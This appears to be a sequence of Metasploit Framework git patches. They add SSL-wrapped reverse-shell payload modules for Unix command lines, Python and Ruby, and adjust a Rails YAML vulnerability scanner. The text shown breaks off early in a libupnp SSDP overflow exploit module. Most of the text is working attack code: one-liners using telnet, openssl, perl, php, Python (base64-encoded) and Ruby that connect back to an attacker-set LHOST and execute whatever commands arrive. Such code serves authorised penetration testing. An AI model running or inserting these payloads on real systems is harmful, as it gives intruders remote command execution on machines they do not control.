+end + +end +end diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index d1be479c30..357c4e724b 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -479,4 +479,20 @@ class Msf::Module::Platform Rank = 100 Alias = "php" end + + # + # JavaScript + # + class JavaScript < Msf::Module::Platform + Rank = 100 + Alias = "js" + end + + # + # Python + # + class Python < Msf::Module::Platform + Rank = 100 + Alias = "python" + end end diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index bf541b1d47..7996ad52ef 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => '', 'DisableNops' => true, }, - 'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java' ], + 'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java','ruby','js','python' ], 'Arch' => ARCH_ALL, 'Targets' => [ [ 'Wildcard Target', { } ] ], 'DefaultTarget' => 0 diff --git a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb new file mode 100644 index 0000000000..b675712c9a --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb @@ -0,0 +1,63 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)', + 'Version' => '$Revision$', + 'Description' => %q{ + Creates an interactive shell via mknod and telnet. + This method works on Debian and other systems compiled + without /dev/tcp support. This module uses the '-z' + option included on some systems to encrypt using SSL. + }, + 'Author' => 'RageLtMan', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd_bash', + 'RequiredCmd' => 'bash-tcp', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 ) + cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &" + end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl_double.rb b/modules/payloads/singles/cmd/unix/reverse_openssl_double.rb new file mode 100644 index 0000000000..2343ed2d69 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_openssl_double.rb @@ -0,0 +1,68 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_double_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Double reverse TCP SSL (openssl)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell through two openssl encrypted inbound connections', + 'Author' => [ + 'hdm', # Original module + 'RageLtMan', # SSL support + ], + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpDoubleSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'telnet', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + lhost = datastore['LHOST'] + ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + cmd = '' + cmd += "openssl s_client -connect #{lhost}:#{datastore['LPORT']}|" + cmd += "/bin/sh -i|openssl s_client -connect #{lhost}:#{datastore['LPORT']}" + cmd += " >/dev/null 2>&1 &\n" + return cmd + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb new file mode 100644 index 0000000000..96724f20e7 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb @@ -0,0 +1,63 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via perl, uses SSL', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + lhost = datastore['LHOST'] + ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + cmd = "perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);" + cmd += "$c=IO::Socket::SSL->new(\"#{lhost}:#{datastore['LPORT']}\");" + cmd += "while(sysread($c,$i,8192)){syswrite($c,`$i`);}'" + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb new file mode 100644 index 0000000000..9892515e26 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb @@ -0,0 +1,61 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via php, uses SSL', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'php', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + lhost = datastore['LHOST'] + ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + cmd = "php -r '$s=fsockopen(\"ssl://#{datastore['LHOST']}\",#{datastore['LPORT']});while(!feof($s)){exec(fgets($s),$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}'&" + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb new file mode 100644 index 0000000000..a7e232d24b --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -0,0 +1,79 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd += "import socket,subprocess,os,ssl\n" + cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "s=ssl.wrap_socket(so)\n" + # The actual IO + cmd += "#{dead}=False\n" + cmd += "while not #{dead}:\n" + cmd += "\tdata=s.recv(1024)\n" + cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n" + cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" + cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" + cmd += "\ts.send(stdout_value)\n" + + # The *nix shell wrapper to keep things clean + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "python -c \"exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))\"" + cmd += ' >/dev/null 2>&1 &' + return cmd + + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb new file mode 100644 index 0000000000..6743def9e9 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb @@ -0,0 +1,49 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via Ruby)', + 'Version' => '$Revision$', + 'Description' => 'Connect back and create a command shell via Ruby, uses SSL', + 'Author' => 'RageLtMan', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'ruby', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + def generate + vprint_good(command_string) + return super + command_string + end + + def command_string + lhost = datastore['LHOST'] + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + "ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'" + end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb new file mode 100644 index 0000000000..67af0c9072 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb @@ -0,0 +1,67 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_double_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Double reverse TCP SSL (telnet)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option', + 'Author' => [ + 'hdm', # Original module + 'RageLtMan', # SSL support + ], + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpDoubleSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'telnet', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = + "sh -c '(sleep #{3600+rand(1024)}|" + + "telnet -z #{datastore['LHOST']} #{datastore['LPORT']}|" + + "while : ; do sh && break; done 2>&1|" + + "telnet -z #{datastore['LHOST']} #{datastore['LPORT']}" + + " >/dev/null 2>&1 &)'" + return cmd + end + +end diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb new file mode 100644 index 0000000000..ca70b10879 --- /dev/null +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -0,0 +1,77 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd += "import socket,subprocess,os,ssl\n" + cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "s=ssl.wrap_socket(so)\n" + # The actual IO + cmd += "#{dead}=False\n" + cmd += "while not #{dead}:\n" + cmd += "\tdata=s.recv(1024)\n" + cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n" + cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" + cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" + cmd += "\ts.send(stdout_value)\n" + + # The *nix shell wrapper to keep things clean + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" + return cmd + + end + +end diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb new file mode 100644 index 0000000000..82f61c768d --- /dev/null +++ b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb @@ -0,0 +1,52 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/payload/ruby' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Ruby + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Ruby Command Shell, Reverse TCP SSL', + 'Version' => '$Revision$', + 'Description' => 'Connect back and create a command shell via Ruby, uses SSL', + 'Author' => 'RageLtMan', + 'License' => MSF_LICENSE, + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'ruby', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + def generate + rbs = prepends(ruby_string) + vprint_good rbs + return rbs + end + + def ruby_string + lhost = datastore['LHOST'] + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end" + return rbs + end +end From 810470de3bcb9d7719994e4b8de24d30e3c7721a Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Sun, 3 Feb 2013 16:05:45 -0600 Subject: [PATCH 076/448] Make HTTP_METHOD Configurable --- modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index 900b8f3313..c9907e5adb 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary )) register_options([ - OptString.new('URIPATH', [true, "The URI to test", "/"]) + OptString.new('URIPATH', [true, "The URI to test", "/"]), + OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) ], self.class) end @@ -37,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary odata = %Q^\n^ res = send_request_cgi({ 'uri' => datastore['URIPATH'] || "/", - 'method' => 'POST', + 'method' => datastore['HTTP_METHOD'], 'ctype' => 'application/xml', 'data' => odata }, 25) From 8dff42777695ba10e9012960b1f3aa8045134bfe Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Sun, 3 Feb 2013 16:07:07 -0600 Subject: [PATCH 077/448] Allow 4xx codes, display codes in verbose output --- modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index c9907e5adb..64d25eb520 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -65,11 +65,13 @@ class Metasploit3 < Msf::Auxiliary return end - if res1.code.to_s =~ /^[45]/ + vprint_status("Probe response codes: #{res1.code} / #{res2.code} / #{res3.code}") + + if res1.code.to_s =~ /^[5]/ vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH") end - if res2.code.to_s =~ /^[23]/ and res3.code != res2.code and res3.code != 200 + if (res2.code == res1.code) and (res3.code != res2.code) and (res3.code != 200) print_good("#{rhost}:#{rport} is likely vulnerable due to a #{res3.code} reply for invalid YAML") report_vuln({ :host => rhost, From 57c8e41846615393e0c521645e0ad51e61a49a8b Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Sun, 3 Feb 2013 16:10:46 -0600 Subject: [PATCH 078/448] Re-order probes and checks. This causes module to exit if error conditions are found, before sending unecessary probes. --- .../scanner/http/rails_xml_yaml_scanner.rb | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index 64d25eb520..e55f6f571d 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -47,19 +47,26 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res1 = send_probe("string", "hello") - res2 = send_probe("yaml", "--- !ruby/object:Time {}\n") - res3 = send_probe("yaml", "--- !ruby/object:\x00") unless res1 vprint_status("#{rhost}:#{rport} No reply to the initial XML request") return end + if res1.code.to_s =~ /^[5]/ + vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH") + return + end + + res2 = send_probe("yaml", "--- !ruby/object:Time {}\n") + unless res2 vprint_status("#{rhost}:#{rport} No reply to the initial YAML probe") return end + res3 = send_probe("yaml", "--- !ruby/object:\x00") + unless res3 vprint_status("#{rhost}:#{rport} No reply to the second YAML probe") return @@ -67,9 +74,6 @@ class Metasploit3 < Msf::Auxiliary vprint_status("Probe response codes: #{res1.code} / #{res2.code} / #{res3.code}") - if res1.code.to_s =~ /^[5]/ - vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH") - end if (res2.code == res1.code) and (res3.code != res2.code) and (res3.code != 200) print_good("#{rhost}:#{rport} is likely vulnerable due to a #{res3.code} reply for invalid YAML") @@ -82,7 +86,7 @@ class Metasploit3 < Msf::Auxiliary :refs => self.references }) else - vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH must be set") + vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH & HTTP_METHOD must be set") end end From 5e0c18af2fcd5fddbabdd42305bef0dda51e48a4 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Sun, 3 Feb 2013 16:14:42 -0600 Subject: [PATCH 079/448] adding self to credits --- modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index e55f6f571d..7df91ce063 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -19,7 +19,10 @@ class Metasploit3 < Msf::Auxiliary This module attempts to identify Ruby on Rails instances vulnerable to an arbitrary object instantiation flaw in the XML request processor. }, - 'Author' => 'hdm', + 'Author' => [ + 'hdm', #author + 'jjarmoc' #improvements + ], 'License' => MSF_LICENSE, 'References' => [ From 5be4d414204637296d6463dff5965ea25bfc84e3 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 17:35:14 -0600 Subject: [PATCH 080/448] This is redundant/less-reliable than reverse_openssl --- .../cmd/unix/reverse_openssl_double.rb | 68 ------------------- 1 file changed, 68 deletions(-) delete mode 100644 modules/payloads/singles/cmd/unix/reverse_openssl_double.rb diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl_double.rb b/modules/payloads/singles/cmd/unix/reverse_openssl_double.rb deleted file mode 100644 index 2343ed2d69..0000000000 --- a/modules/payloads/singles/cmd/unix/reverse_openssl_double.rb +++ /dev/null @@ -1,68 +0,0 @@ -## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' -require 'msf/core/handler/reverse_tcp_double_ssl' -require 'msf/base/sessions/command_shell' -require 'msf/base/sessions/command_shell_options' - -module Metasploit3 - - include Msf::Payload::Single - include Msf::Sessions::CommandShellOptions - - def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Unix Command Shell, Double reverse TCP SSL (openssl)', - 'Version' => '$Revision$', - 'Description' => 'Creates an interactive shell through two openssl encrypted inbound connections', - 'Author' => [ - 'hdm', # Original module - 'RageLtMan', # SSL support - ], - 'License' => MSF_LICENSE, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Handler' => Msf::Handler::ReverseTcpDoubleSsl, - 'Session' => Msf::Sessions::CommandShell, - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'telnet', - 'Payload' => - { - 'Offsets' => { }, - 'Payload' => '' - } - )) - end - - # - # Constructs the payload - # - def generate - vprint_good(command_string) - return super + command_string - end - - # - # Returns the command string to use for execution - # - def command_string - lhost = datastore['LHOST'] - ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" - lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) - cmd = '' - cmd += "openssl s_client -connect #{lhost}:#{datastore['LPORT']}|" - cmd += "/bin/sh -i|openssl s_client -connect #{lhost}:#{datastore['LPORT']}" - cmd += " >/dev/null 2>&1 &\n" - return cmd - end - -end From 47f3c09616149fc5059d4f4b30c7e56afa4b513e Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 17:38:19 -0600 Subject: [PATCH 081/448] Fix typo that snuck in during merge --- .../payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb index 67af0c9072..593e69d716 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb @@ -31,7 +31,7 @@ module Metasploit3 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, - 'Handler' => Msf::Handler::ReverseTcpDoubleSsl, + 'Handler' => Msf::Handler::ReverseTcpDoubleSSL, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet', @@ -47,7 +47,7 @@ module Metasploit3 # Constructs the payload # def generate - + return super + command_string end From 797e2604a0169068120557a27f414b7a5d44ee0b Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 17:41:45 -0600 Subject: [PATCH 082/448] Fix missing require in reverse_tcp_ssl --- lib/msf/core/handler/reverse_tcp_ssl.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb index 60f827c7ab..996b619b07 100644 --- a/lib/msf/core/handler/reverse_tcp_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -1,6 +1,8 @@ require 'rex/socket' require 'thread' +require 'msf/core/handler/reverse_tcp' + module Msf module Handler From 975230c9e7d3144023f69bea96170d4a8c6e934b Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 17:46:20 -0600 Subject: [PATCH 083/448] Add the first module for unique_service_name() --- .../multi/upnp/libupnp_ssdp_overflow.rb | 244 ++++++++++++++++++ 1 file changed, 244 insertions(+) create mode 100644 modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb new file mode 100644 index 0000000000..4e471fbc44 --- /dev/null +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -0,0 +1,244 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Udp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution', + 'Description' => %q{ + This module exploits a buffer overflow in the unique_service_name() + function of libupnp's SSDP processor. The libupnp library is used across + thousands of devices and is referred to as the Intel SDK for UPnP + Devices or the Portable SDK for UPnP Devices. + + Due to size limitations on many devices, this exploit uses a separate TCP + listener to stage the real payload. + }, + 'Author' => [ + 'hdm', + 'Alex Eubanks ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-5858' ] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Payload' => + { + + 'BadChars' => + # Bytes 0-8 are not allowed + [*(0..8)].pack("C*") + + # 0x09, 0x0a, 0x0d are allowed + "\x0b\x0c\x0e\x0f" + + # All remaining bytes up to space are restricted + 